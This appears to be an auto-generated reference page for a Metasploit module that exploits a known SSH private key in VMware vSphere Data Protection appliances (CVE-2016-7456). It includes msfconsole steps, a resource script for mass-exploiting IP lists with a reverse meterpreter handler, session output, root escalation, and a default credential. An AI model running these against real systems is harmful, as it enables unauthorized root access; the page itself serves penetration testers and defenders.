VMware VDP Known SSH Key - Metasploit
This page contains detailed information about how to use the exploit/linux/ssh/vmware_vdp_known_privkey metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VMware VDP Known SSH Key
Module: exploit/linux/ssh/vmware_vdp_known_privkey
Source code: modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb
Disclosure date: 2016-12-20
Last modification time: 2022-04-18 09:36:52 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2016-7456
VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using vmware_vdp_known_privkey against a single host
Normally, you can use exploit/linux/ssh/vmware_vdp_known_privkey this way:
msf > use exploit/linux/ssh/vmware_vdp_known_privkey
msf exploit(vmware_vdp_known_privkey) > show targets
... a list of targets ...
msf exploit(vmware_vdp_known_privkey) > set TARGET target-id
msf exploit(vmware_vdp_known_privkey) > show options
... show and set options ...
msf exploit(vmware_vdp_known_privkey) > exploit
Using vmware_vdp_known_privkey against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vmware_vdp_known_privkey will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ssh/vmware_vdp_known_privkey")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
Verification Steps
- Start msfconsole
- Do:
use exploit/linux/ssh/vmware_vdp_known_privkey
- Do:
set rhost 1.2.3.4
- Do:
exploit
- You should get a shell.
- Type:
sudo -s
to become root user
Scenarios
This is a run against a known vulnerable vSphere Data Protection appliance.
msf > use exploit/linux/ssh/vmware_vdp_known_privkey
msf exploit(vmware_vdp_known_privkey) > set rhost 1.2.3.4
rhost => 1.2.3.4
msf exploit(vmware_vdp_known_privkey) > run
[+] Successful login
[*] Found shell.
[*] Command shell session 1 opened (1.2.3.5:34147 -> 1.2.3.4:22) at 2017-01-20 20:43:22 +0100
Further Information
The default account of the appliance is root:changeme
Go back to menu.
Msfconsole Usage
Here is how the linux/ssh/vmware_vdp_known_privkey exploit module looks in the msfconsole:
msf6 > use exploit/linux/ssh/vmware_vdp_known_privkey
[*] Using configured payload cmd/unix/interact
msf6 exploit(linux/ssh/vmware_vdp_known_privkey) > show info
Name: VMware VDP Known SSH Key
Module: exploit/linux/ssh/vmware_vdp_known_privkey
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-12-20
Provided by:
phroxvs
Available targets:
Id Name
-- ----
0 Universal
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
Payload information:
Description:
VMware vSphere Data Protection appliances 5.5.x through 6.1.x
contain a known ssh private key for the local user admin who is a
sudoer without password.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-7456
https://www.vmware.com/security/advisories/VMSA-2016-0024.html
Module Options
This is a complete list of options available in the linux/ssh/vmware_vdp_known_privkey exploit:
msf6 exploit(linux/ssh/vmware_vdp_known_privkey) > show options
Module options (exploit/linux/ssh/vmware_vdp_known_privkey):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Universal
Advanced Options
Here is a complete list of advanced options supported by the linux/ssh/vmware_vdp_known_privkey exploit:
msf6 exploit(linux/ssh/vmware_vdp_known_privkey) > show advanced
Module advanced options (exploit/linux/ssh/vmware_vdp_known_privkey):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ssh/vmware_vdp_known_privkey module can exploit:
msf6 exploit(linux/ssh/vmware_vdp_known_privkey) > show targets
Exploit targets:
Id Name
-- ----
0 Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/vmware_vdp_known_privkey exploit:
msf6 exploit(linux/ssh/vmware_vdp_known_privkey) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/ssh/vmware_vdp_known_privkey exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ssh/vmware_vdp_known_privkey) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:
85: ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)
86: end
87: rescue Rex::ConnectionError
88: return
89: rescue Net::SSH::Disconnect, ::EOFError
90: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
91: return
92: rescue ::Timeout::Error
93: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
94: return
95: rescue Net::SSH::AuthenticationFailed
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
88: return
89: rescue Net::SSH::Disconnect, ::EOFError
90: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
91: return
92: rescue ::Timeout::Error
93: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
94: return
95: rescue Net::SSH::AuthenticationFailed
96: print_error "#{rhost}:#{rport} SSH - Failed authentication"
97: rescue Net::SSH::Exception => e
98: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
<RHOST>:<RPORT> SSH - Failed authentication
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Failed authentication" error message:
91: return
92: rescue ::Timeout::Error
93: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
94: return
95: rescue Net::SSH::AuthenticationFailed
96: print_error "#{rhost}:#{rport} SSH - Failed authentication"
97: rescue Net::SSH::Exception => e
98: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
99: return
100: end
101:
<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
93: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
94: return
95: rescue Net::SSH::AuthenticationFailed
96: print_error "#{rhost}:#{rport} SSH - Failed authentication"
97: rescue Net::SSH::Exception => e
98: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
99: return
100: end
101:
102: if ssh_socket
103:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #11103 Merged Pull Request: Add CreateSession option to opt out of session creation in login modules
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #9524 Merged Pull Request: prefer 'shell' channels over 'exec' channels for ssh CommandStream
- #7808 Merged Pull Request: Exploit for VMware VDP with known ssh private key (CVE-2016-7456)
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_vcenter_analytics_file_upload
- exploit/linux/http/vmware_vcenter_vsan_health_rce
- exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce
- exploit/linux/http/vmware_vrops_mgr_ssrf_rce
- exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
- exploit/linux/local/vmware_alsa_config
- exploit/linux/local/vmware_mount
- exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/f5_bigip_known_privkey
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/mercurial_ssh_exec
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/multi/http/vmware_vcenter_log4shell
- exploit/multi/http/vmware_vcenter_uploadova_rce
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- exploit/windows/http/vmware_vcenter_chargeback_upload
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/linux/samba/is_known_pipename
Related Nessus plugins:
Authors
- phroxvs
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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